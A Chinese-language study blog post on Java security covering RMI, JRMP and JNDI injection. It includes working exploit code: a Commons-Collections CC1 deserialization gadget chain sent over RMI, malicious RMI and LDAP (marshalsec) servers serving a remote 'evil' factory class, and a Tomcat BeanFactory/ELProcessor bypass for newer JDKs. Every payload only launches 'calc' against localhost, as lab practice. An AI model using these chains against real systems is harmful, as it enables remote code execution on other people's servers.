前言
链子的分析可以先放放,慢慢学跟着零溢出师傅先学一下利用方式,这里会涉及到RMI、JNDI、JRMP等。主要是讲JNDI
RMI
简介
Java RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。
在这个场景下又三方角色:服务端、客户端、注册中心
服务端和客户端持有相同的接口(interface)文件,但是客户端持有的仅仅是函数方法的声明接口,而服务端拥有该接口的具体实现(implements)。
但是接口必须被实现才能被调用,而客户端持有接口但不持有实现类。怎么才能让客户端调用方法呢?
这个时候就轮到注册中心登场了, 客户端的接口方法实现是由RMI注册中心去代理生成的,代理中心把方法调用通过网络传递到服务端。然后服务端也有一个注册中心,它解析网络上的请求并调用真正的接口实现
代码实现
首先我们需要开两个项目,一个是客户端,一个是服务端
我们先来看服务端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
//src目录下新建service包,里面新建Calc类,作为CS都持有的接口
package service;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Calc extends Remote {
public int add(int a,int b)throws RemoteException;
public void print(Object o)throws RemoteException;
}
//同service包,新建CalcImpl类,作为实现类实现接口,并重写方法
package service;
import java.rmi.RemoteException;
public class CalcImpl implements Calc{
@Override
public int add(int a, int b) throws RemoteException {
int result = a+b;
System.out.println(a+" + "+b+" = "+result);
return result;
}
//重写print方法,用于后续打反序列化漏洞
@Override
public void print(Object o) throws RemoteException {
System.out.println(o);
}
}
//src目录下新建main文件,文件名为RMIserver
import service.Calc;
import service.CalcImpl;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIserver {
public static void main(String[] args) throws RemoteException {
//Registry (注册表): RMI 注册表可以看作是一个“电话簿”或“目录服务”。远程对象在启动后,需要将自己注册到这个“电话簿”上,并给自己取一个唯一的名字。客户端则通过这个“电话簿”来查找并获取远程对象的引用。
//LocateRegistry.createRegistry(1099): 这行代码的作用是创建并启动一个 RMI 注册表服务。它会监听在指定的端口上,这里是 1099。
Registry registry = LocateRegistry.createRegistry(1099);
Calc calc = new CalcImpl();
//rebind (重新绑定): 这个方法的作用是将一个远程对象注册到 RMI 注册表中。
//exportObject (导出对象): 它的作用是将一个普通的 Java 对象(calc)“导出”为一个可以接收远程调用的远程对象 (Remote Object)。
registry.rebind("calc", UnicastRemoteObject.exportObject(calc,0));
}
}
|
结构如图

然后是客户端实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
//src目录下船舰service包,里面新建Calc,作为CS都持有的接口
package service;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Calc extends Remote {
public int add(int a,int b)throws RemoteException;
public void print(Object o)throws RemoteException;
}
//src目录下新建main类,名为RMIClient
import service.Calc;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
//客户端使用 getRegistry 来获取一个已经存在于网络某处的注册表服务的引用。
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
//registry.lookup("calc"): 客户端向注册表发出请求:“请帮我查找一个名为 calc 的服务”。并回去该服务的本地代理
Calc calc = (Calc)registry.lookup("calc");
//调用服务端重写后的方法
int result = calc.add(1,2);
System.out.println(result);
}
}
|
结构如图

最后实验结果如下

漏洞利用
前面在服务端里重写了print方法,输出了一个object,这里可以通过这个来在服务端执行反序列化漏洞
我们还是打之前的cc1的payload,在客户端的main文件里做出如下修改
调用print方法,然后多了一个生成cc1链的过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import service.Calc;
import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) throws IOException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Calc calc = (Calc)registry.lookup("calc");
//int result = calc.add(1,2);
//System.out.println(result);
calc.print(cc1());
}
public static Object cc1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);
return o;
}
}
|
结果如下:

最后提一嘴,通过RMI利用反序列化漏洞是可行的,但是这要求我们本身知道服务端是如何重写方法的,实际上是很难利用的。不过我们还有别的利用方式
JRMP
简介
上集说到RMI可以跨网络调用方法,而JRMP就是RMI的底层依赖协议。
RMI(Java Remote Message Protocol,Java远程消息交换协议),基于TCP/IP,仅用于RMI
这个协议会序列化数据进行传输,所以一定会有反序列化的过程,只要我们把传输过程中序列化的数据替换成我们的反序列化利用链,那么就成功的利用了反序列化的漏洞
由于环境问题,这里需要开一个虚拟机模拟攻击,,然后虚拟机进行攻击的时候一直报一个错误
1
2
|
library initialization failed - unable to allocate file descriptor table - out of memory
zsh: IOT instruction
|
一直没有解决,这里就暂时就搁置一下
参考视频:
【Java安全】Ysoserial中的JRMP利用
JNDI
参考文章:JNDI注入原理及利用考究
简介
JNDI(Java Naming and Directory Interface)是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用于定位数据库服务或一个远程Java对象。
JNDI 的设计初衷是为了让 Java 程序用一套统一的代码 (InitialContext.lookup(...)) 就能从这些不同的数据源中获取对象,而不需要关心底层具体用的是什么协议。
JNDI 有一个非常强大但也非常危险的特性:动态远程类加载 (Dynamic Remote Class Loading)。
当 JNDI 客户端 lookup 一个对象时,返回的不是一个普通的序列化数据,而是是一个特殊的 Reference 对象。
这个 Reference 对象就像一张“介绍信”,它告诉 JNDI 客户端:
“你好,你要找的对象我这里没有,但是我知道怎么创建它。它的类名叫 SomeClassName,你可以去这个 URL 地址 (codebaseURL) 下载它的 .class 文件,然后自己加载并实例化它。”
如果 JNDI 客户端的配置是“信任”这张介绍信的,它就会真的去指定的 codebaseURL 下载并执行一个攻击者完全控制的远程类。这就导致了远程代码执行(RCE)。
JNDI 注入就是攻击者通过各种手段(如 Log4j 的日志内容、Web 请求参数等)控制了 JNDI lookup 方法的 URL 字符串,使其指向一个攻击者控制的恶意 JNDI 服务器。
JNDI是服务端作为攻击端的注入,具体攻击流程图如下

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
| 协议 |
JDK6 |
JDK7 |
JDK8 |
JDK11 |
| LADP |
6u211以下 |
7u201以下 |
8u191以下 |
11.0.1以下 |
| RMI |
6u132以下 |
7u122以下 |
8u113以下 |
无 |
代码实现
这里写的是远程类加载,投递一个Reference对象,让被攻击方去下载执行这个类。
也可以投递一个恶意对象,让对方在接受并反序列化这个对象时触发漏洞
低版本JNDI+RMI
JDK版本是7u79,需要开两个项目,一个做客户端,一个做服务端
首先是客户端
结构如下:

代码如下:
1
2
3
4
5
6
7
8
9
10
11
|
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDITest {
public static void main(String[] args) throws NamingException {
//创建 JNDI 初始上下文。InitialContext 是 JNDI 操作的入口点。当它被创建时,它会初始化 JNDI 环境。
InitialContext context = new InitialContext();
//这段代码的意图是连接到运行在本机 1099 端口的 RMI 服务,并请求获取一个名为 "xxx" 的对象。
context.lookup("rmi://127.0.0.1:1099/xxx");
}
}
|
接下来是服务端,结构如下

代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
//RMIService
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIService {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
// 创建并启动一个 RMI 注册中心,监听在 1099 端口
Registry registry = LocateRegistry.createRegistry(1099);
//创建一个 Reference 对象,这是 JNDI 注入的核心
Reference reference = new Reference(
"evil", // className: 告诉客户端需要加载的类的名字
"evil",// classFactory: 创建这个类实例的工厂类的名字(通常和 className 一样)
"http://127.0.0.1:8000/"); // classFactoryLocation (codebase): 去哪里下载这个类的 .class 文件
//将 Reference 对象包装并绑定到注册中心,名字是 "xxx",这样客户端就可以通过 "rmi://.../xxx" 来找到它
registry.bind("xxx",new ReferenceWrapper(reference));
}
}
//evil
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class evil implements ObjectFactory {
public evil() throws IOException {
Runtime.getRuntime().exec("calc"); //一个构造函数,里面实现的是恶意代码
}
// 实现了 ObjectFactory 接口,这是 JNDI 远程加载所要求的
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
// JNDI 规范要求实现此方法,但对于简单的攻击,
// 我们通常把恶意代码放在构造函数或静态代码块中,这里可以直接返回 null。
return null;
}
}
|
然后需要用javac编译一下evil.java文件
注意一下这里需要用7u79的版本编译,然后用python开启一下http服务
1
2
3
|
"D:\Program Files\Java\jdk1.7.0_79\bin\javac" evil.java
python -m http.server
|
可以打开浏览器查看一下

最后结果:


原理解析
在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。
绑定了Reference之后,服务端会先通ReferenceablelgetReference(获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
整个利用流程如下:
目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_mi_server//name。
攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类。
目标在进行lookup(操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例。
攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果。
低版本JNDI+LDAP
前面也说了,如果JNDI客户端的配置是信任这个Reference对象的,才能去下载并执行那个远程类,但是从JDK8u121开始rmi远程对象的reference代码默认不信任,所以之后就不能用rmi的方式了,不过可以通过LDAP利用
LDAP是一种轻量级目录访问协议,目录是一个树状结构的组织数据,类似于文件目录,通过这个目录可以去查找一些相应的资源、信息。这个LDAP并不是java专属的的协议,是通用协议
接下来时如何利用,如果光靠代码进行这个利用的话,我们需要自己开启一个LDAP服务,不过也可以通过marshalsec启动LDAP服务。这样我们只需要准备一个恶意类并编译,再在恶意类的文件下开一个http服务就行
这里用的时零溢出师傅写的编译好的jar包,否则需要自己用maven打包一下
marshalsec.jar
在这个目录下开启一个http服务(我这是成功之后的截图,本来应该没有访问记录)

然后在下载jar包的地方开启cmd并开启LDAP服务
1
|
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#evil 1099
|

最后是客户端代码
1
2
3
4
5
6
7
8
9
|
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDITest {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:1099/evil");
}
}
|
最后结果

小结
其实用marshalsec就相当于帮我们写了服务端的代码,我们只需要编写恶意代码就行,不过都需要lookup函数参数是我们可控的。
高版本JNDI绕过
在 jdk8u191之后,上述的方法也被ban了,不过还有一种利用本地恶意 Class 作为Reference Factory的绕过方式
需要要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。
该恶意 Factory 类必须实现javax.naming.spi.ObjectFactory接口,并实现该接口的 getObjectInstance() 方法。
最后发现org.apache.naming.factory.BeanFactory类是满足上述条件的,这个类的getObjectInstance() 方法会通过反射的方式实例化Reference所指向的任意BeanClass,并会调用setter方法为所有属性赋值。而这个BeanClass的属性和属性值均来自与Reference对象,是攻击者可控的。
如何绕过呢?
代码实现
参考链接:深入学习 Java 反序列化之 JNDI 运行逻辑(代码是照搬的)
首先org.apache.naming.factory.BeanFactory这个类存在于Tomcat8依赖包中,所以我们需要先下载Tomcat8,然后这里我们只需要三个jar包分别是catalina.jar、el-api.jar、jasper-el.jar。
服务端代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
// JNDI 高版本 jdk 绕过服务端
public class JNDIByPass {
public static void main(String[] args) throws Exception {
//打印信息并创建 RMI 注册中心
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
|
客户端代码
1
2
3
4
5
6
7
8
9
10
|
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/Object";
Context context = new InitialContext();
context.lookup(uri);
}
}
|
运行结果
小结
写起来还是太杂了,全写在一块显得挺乱的。RMI就是一种远程调用接口方法的东西,需要知道服务端的代码是如何写的才能进行反序列化,但是JRMP可以进行一个补足。而JNDI是一种可以通过同一套代码从不同的数据源中获取对象的应用接口,可以进行RMI、LDAP等等的注入。还有高版本的JNDI绕过,这里也只是浅浅带过了一遍。其实还有其他的不依赖Tomcat8的绕过方法,不过这里还是先不学了。